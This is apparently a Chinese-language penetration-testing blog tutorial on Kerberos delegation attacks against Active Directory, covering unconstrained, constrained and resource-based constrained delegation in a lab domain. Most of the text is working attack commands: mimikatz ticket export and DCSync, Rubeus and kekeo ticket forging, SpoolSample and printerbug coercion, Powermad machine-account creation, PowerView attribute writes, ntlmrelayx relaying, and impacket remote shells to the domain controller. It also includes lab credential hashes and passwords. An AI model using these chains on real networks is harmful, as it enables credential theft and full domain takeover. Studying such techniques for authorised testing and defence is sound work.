域渗透之委派攻击

前情提要之Kerberos身份验证

Kerberos协议在身份验证过程中主要涉及以下几个关键步骤:

  • AS(Authentication Service)请求/响应:用户首次登录时,会向Kerberos认证服务器(KDC)发送AS请求,获取TGT(Ticket Granting Ticket)。
  • TGS(Ticket Granting Service)请求/响应:用户持有TGT向KDC的TGS服务请求特定服务的票据(Service Ticket),用于访问目标服务。
  • 服务请求/响应:用户持有Service Ticket向目标服务请求访问,该服务验证票据并允许访问。

一、非约束性委派

非约束性委派允许某个服务器或服务代表任何用户访问其他服务。这意味着当某用户访问一个配置了非约束性委派的服务器时,服务器可以获取并缓存用户的TGT,并使用它来请求其他服务的票据。这个TGT是用户的核心身份验证凭证,一旦获取,几乎可以代表该用户在Kerberos域内执行任何操作

接下来我将演示利用非约束性委派获取域管TGT并利用其申请ST进行控制域控。

环境搭建

将WEB2016机器的委派属性设置为“信任此计算机来委派任何服务”

image-20240906215008866

漏洞发现

1
2
3
4
5
查询域内设置了非约束委派的服务账户:
AdFind -b "DC=chu0,DC=time" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的机器账户:
AdFind.exe -b "DC=chu0,DC=time" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

image-20240906215929576

可以发现WEB2016机器配置了非约束性委派,并且web2016可控,所以可以尝试利用非约束性委派获取机器权限

钓鱼利用

利用条件

  • 有管理员权限
  • 被控机器账户开启非约束性委派
  • 域控管理员远程访问

在非约束性访问中最重要的步骤就是获取域管的TGT,而获取域管的TGT需要让域管访问配置了非约束性委派的机器(WEB2016),此时我们就可以使用钓鱼等方式诱导域管访问WEB2016,进而获取域管TGT,这里使用net命令模拟域管被钓鱼的情况

使用域管访问web2016服务器,让其TGT缓存在web2016机器中

1
net use \\WEB2016.chu0.time

image-20240906220332552

这里模拟的是钓鱼成功访问,回到web2016导出票据(需要管理员权限)

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

image-20240906220903971

导出了一堆票据,可以发现其中就有我们所需要的域管票据,先尝试连接域控

1
dir \\dc01.chu0.time\c$

请求失败

image-20240906221007079

导入票据然后再尝试访问域控

1
2
3
mimikatz.exe "kerberos::ptt [0;95acd]-2-0-60a10000-Administrator@krbtgt-CHU0.TIME.kirbi" "exit"

dir \\dc01.chu0.time\c$

访问成功

image-20240906221124597

强制访问漏洞利用

利用条件

  • 需要管理员权限

做过云镜的师傅对这个操作应该都不陌生了,与钓鱼不同,利用强制访问漏洞可以强制域管访问WEB2016,进而留下TGT。

先利用Rubeus开启监听,获取的b64的TGT会写到hash.txt里面

1
Rubeus.exe monitor /interval:2 /filteruser:DC01$ > hash.txt

使用打印机漏洞强制域管访问WEB2016

1
spoolsample.exe DC01 WEB2016

image-20240906221906164

image-20240906221924409

将TGT票据导入内存,然后Dcsync即可

1
2
3
Rubeus.exe ptt /ticket:b64票据

mimikatz.exe "lsadump::dcsync /domain:chu0.time /all /csv" exit

二、约束性委派

由于非约束性委派的不安全性,微软提出了约束性委派,其要求机器只能委派指定的某些服务,而不能委派任意服务。所以说约束性委派攻击的危害还是取决于设置了可被委派的服务的权限高低。约束性委派的主要目的是以任意用户身份获取某服务的ST,而在获取特定服务的ST之前需要先获取自身的ST,这两步操作就涉及到了S4u2self(Service for User to Self)和 S4U2proxy(Service for User to Proxy)这两个拓展协议。S4u2self协议可以代表任意用户请求一个自身的ST(可转发的),S4U2proxy协议则可以将self中获取的ST(任意用户)转发给其他服务(设置了委派),以任意用户身份获取可被委派的服务权限。

环境搭建

选择“信任此计算机来委派指定的服务” - “使用任何身份验证协议”,在下面选择DC的cifs或者ldap服务即可

image-20240906232018441

漏洞发现

1
2
3
4
5
# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=chu0,DC=time" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=chu0,DC=time" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

利用方式一

利用条件

  • 获取管理员权限
  • 被控机器设置了约束性委派
  • 可获取被控机器账户票据

导出票据(即获取自身服务票据)

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

image-20240907114123238

将票据转发,并以域管权限获取目标服务票据

1
2
kekeo.exe "tgs::s4u /tgt:[0;3e4]-2-1-40e10000-WIN2016CD$@krbtgt-CHU0.TIME.kirbi /user:Administrator@chu0.time /service:cifs/DC01.chu0.
time" "exit"

image-20240907114342458

先尝试连接

image-20240907114410878

导入票据后再尝试连接,即可发现利用成功

1
mimikatz.exe "kerberos::ptt TGS_Administrator@chu0.time@CHU0.TIME_cifs~DC01.chu0.time@CHU0.TIME.kirbi" "exit"

image-20240907114520570

利用方式二

利用条件

  • 获取管理员权限
  • 被控机器设置了约束性委派
  • 可获取被控机器账户哈希

获取被控机器账户哈希

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

image-20240907115056751

申请自身的可转发票据

1
Rubeus.exe asktgt /user:WIN2016CD$ /rc4:8338370cc068216eec4d5712b200f5d6 /domain:chu0.time /dc:DC01.chu0.time /nowrap

image-20240907115210029

利用s4u协议获取目标服务票据后连接域控

1
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/DC01.chu0.time /dc:DC01.chu0.time /ptt /ticket:b64票据

image-20240907115545492

利用方式三

利用条件

  • 获取管理员权限
  • 被控机器设置了约束性委派
  • 可获取被控机器账户哈希

获取被控机器账户哈希

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

利用获取的哈希申请目标服务的域管权限票据,再使用横向手段连接

1
impacket-getST -dc-ip 192.168.139.160 -spn cifs/DC01.chu0.time -impersonate administrator chu0.time/WIN2016CD$ -hashes :8338370cc068216eec4d5712b200f5d6

image-20240907120302487

将票据导入内存,横向域控即可

1
2
3
4
5
#导入票据
export KRB5CCNAME=administrator@cifs_DC01.chu0.time@CHU0.TIME.ccache
#横向域控
impacket-wmiexec -k chu0.time/administrator@DC01.chu0.time -no-pass -dc-ip 192.168.139.160
impacket-smbexec -k chu0.time/administrator@DC01.chu0.time -no-pass -dc-ip 192.168.139.160

利用方式四

利用条件

  • 获取管理员权限
  • 被控机器设置了约束性委派
  • 可获取被控机器账户哈希

利用哈希申请票据,而不是直接导出

1
kekeo.exe "tgt::ask /user:WIN2016CD$ /domain:chu0.time /NTLM:8338370cc068216eec4d5712b200f5d6" "exit"

image-20240907121042419

利用可转发票据申请特定服务票据

1
kekeo.exe "tgs::s4u /tgt:TGT_WIN2016CD$@CHU0.TIME_krbtgt~chu0.time@CHU0.TIME.kirbi /user:Administrator@chu0.time /service:cifs/DC01.chu0.time" "exit"

image-20240907121146906

导入票据,连接DC

1
2
3
mimikatz.exe "kerberos::ptt TGS_Administrator@chu0.time@CHU0.TIME_cifs~DC01.chu0.time@CHU0.TIME.kirbi" "exit"

dir \\DC01.chu0.time\c$

三、基于资源的约束性委派

基于资源的约束性委派可以理解为约束性委派的升级版,在约束性委派中,我们需要设置被控主机的msDS-AllowedToDelegateTo来指定其可以委派的服务,而在基于资源的约束性委派中,我们需要在目标机器上设置msDS-AllowedToActOnBehalfOfOtherIdentity属性来指定可以委派目标机器服务的机器。漏洞利用过程就是在约束性委派攻击之前增加一个设置msDS-AllowedToActOnBehalfOfOtherIdentity属性的过程。

本地提权

利用条件

  • 拥有当前机器域用户权限
  • 域用户MAQ值不为0

查看将机器加入域的用户的sid,再通过sid反查出对应的用户名

1
2
3
4
5
6
#获取SID
AdFind.exe -b "DC=chu0,DC=time" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
#反查用户名
sid2user.exe \\192.168.139.160 5 21 1075071014 1600225418 2883514341 1108
#或者
AdFind.exe -b "DC=chu0,DC=time" -f "(&(objectsid=S-1-5-21-1075071014-1600225418-2883514341-1108))" objectclass cn dn

image-20240907133200448

image-20240907133236502

现在看来,所有的条件就都满足了,先创建一个机器账户

1
2
3
4
5
6
7
8
9
# 导入模块
Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'whoami@666' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建机器账户
New-MachineAccount -MachineAccount "hacker" -Password $($Password) -Domain "chu0.time" -DomainController "DC01.chu0.time" -Verbose

#或者使用impacket脚本创建
python3 addcomputer.py chu0.time/RBCDhacker:whoami@666 -method LDAPS -computer-name hacker\$ -computer-pass whoami@666 -dc-ip 192.168.139.160

image-20240907135010099

可以使用如下命令查看是否创建成功

1
net group "Domain Computers" /domain

image-20240907135036089

在域管处也可以看到

image-20240907140343646

查看新机器账户的sid

1
Import-Module .\PowerView.ps1;Get-NetComputer hacker -Properties objectsid

image-20240907140233823

将本机的msDS-AllowedToActOnBehalfOfOtherIdentity设置为刚刚创建的机器账户

1
import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1075071014-1600225418-2883514341-1111)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN2016RBCD| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

image-20240907140543446

检查是否配置成功

1
Get-DomainComputer WIN2016RBCD -Properties msds-allowedtoactonbehalfofotheridentity

image-20240907140738905

利用刚创建的hacker账户申请WEB2016RBCD机器的ST票据后,导入票据,无密码登录

1
2
3
4
5
6
#申请票据
impacket-getST chu0.time/hacker$:whoami@666 -spn cifs/WIN2016RBCD.chu0.time -impersonate administrator -dc-ip 192.168.139.160
#导入票据
export KRB5CCNAME=administrator@cifs_WIN2016RBCD.chu0.time@CHU0.TIME.ccache
#无密码连接
impacket-smbexec -k chu0.time/administrator@WIN2016RBCD.chu0.time -no-pass -dc-ip 192.168.139.160

image-20240907141606854

image-20240907141625621

可以发现我们现在的权限就从域用户权限提升到system权限了。

利用RBCD横向

利用条件

  • 拥有当前机器域用户权限
  • 域用户MAQ值不为0
  • 有多台机器使用同一域用户加入域

回到上面这张图

image-20240907133200448

解释一下条件三,从图中我们可以发现机器WIN2016RBCD和WIN-E5O87N3AMQI加入域的用户的SID值一样,也就是说这俩机器都是用RBCDhacker账户加加入的域。此利用与本地提权过程基本相同,只是在设置msDS-AllowedToActOnBehalfOfOtherIdentity的属性时设置的是其他机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性。

1
import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1075071014-1600225418-2883514341-1111)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN-E5O87N3AMQI| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

查看对应属性

1
Get-DomainComputer WIN-E5O87N3AMQI -Properties msds-allowedtoactonbehalfofotheridentity

image-20240907142522023

剩下的步骤就和之前一样了,中间有两次失败是因为防火墙忘关了

image-20240907142843560

利用AO组用户横向

利用条件

  • 获取到属于Acount Operators组的用户权限
  • 此用户可以创建机器账户(MAQ不为0)

先向Acount Operators组里面加一个用户,我这里就把刚刚的RBCDhacker用户加入到AO组内了。

image-20240907143642407

Acount Operators组成员可以修改域内除了域控其他所有主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性,所以步骤就和上面的一样了。

1
adfind.exe -h 192.168.139.160:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=chu0,DC=time member

image-20240907143713155

这里就可以看到此组内有一名为RBCDhacker的用户且被我们控制,使用如下命令将刚刚设置的WIN-E5O87N3AMQI机器的msDS-AllowedToActOnBehalfOfOtherIdentity清除

1
import-module .\powerview.ps1;Set-DomainObject WIN-E5O87N3AMQI -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

再次查看后已经为空

image-20240907144629171

后面的就不做过多赘述了,和第二种利用方法一样,修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性然后申请票据无密码连接即可

补充一下如何查看用户权限。

1
2
3
4
5
6
# 导入模块
Import-Module .\PowerView.ps1
# 获取 RBCDhacker 用户的 SID
Get-DomainUser -Identity RBCDhacker -Properties objectsid
# 枚举 RBCDhacker 用户对 WIN-E5O87N3AMQI 的 ACE
Get-DomainObjectAcl -Identity WIN-E5O87N3AMQI | ?{$_.SecurityIdentifier -match "S-1-5-21-1075071014-1600225418-2883514341-1108"}

NTLM重放横向

利用条件

  • 能创建机器账户(MAQ不为0)
  • 可以利用强制访问漏洞
  • 一域内用户密码(根据强制漏洞决定)

先在kali开启监听,等待访问,强制访问后会直接修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性为hacker账户,可以参考云境Spoofing

1
impacket-ntlmrelayx -t ldap://192.168.139.160 -smb2support --remove-mic --delegate-access --escalate-user hacker\$

利用打印机漏洞强制访问

1
2
# 利用打印机漏洞回连
python3 printerbug.py chu0.time/RBCDhacker:whoami\@666@192.168.139.161 192.168.139.160

然后申请票据,导入,无密码连接即可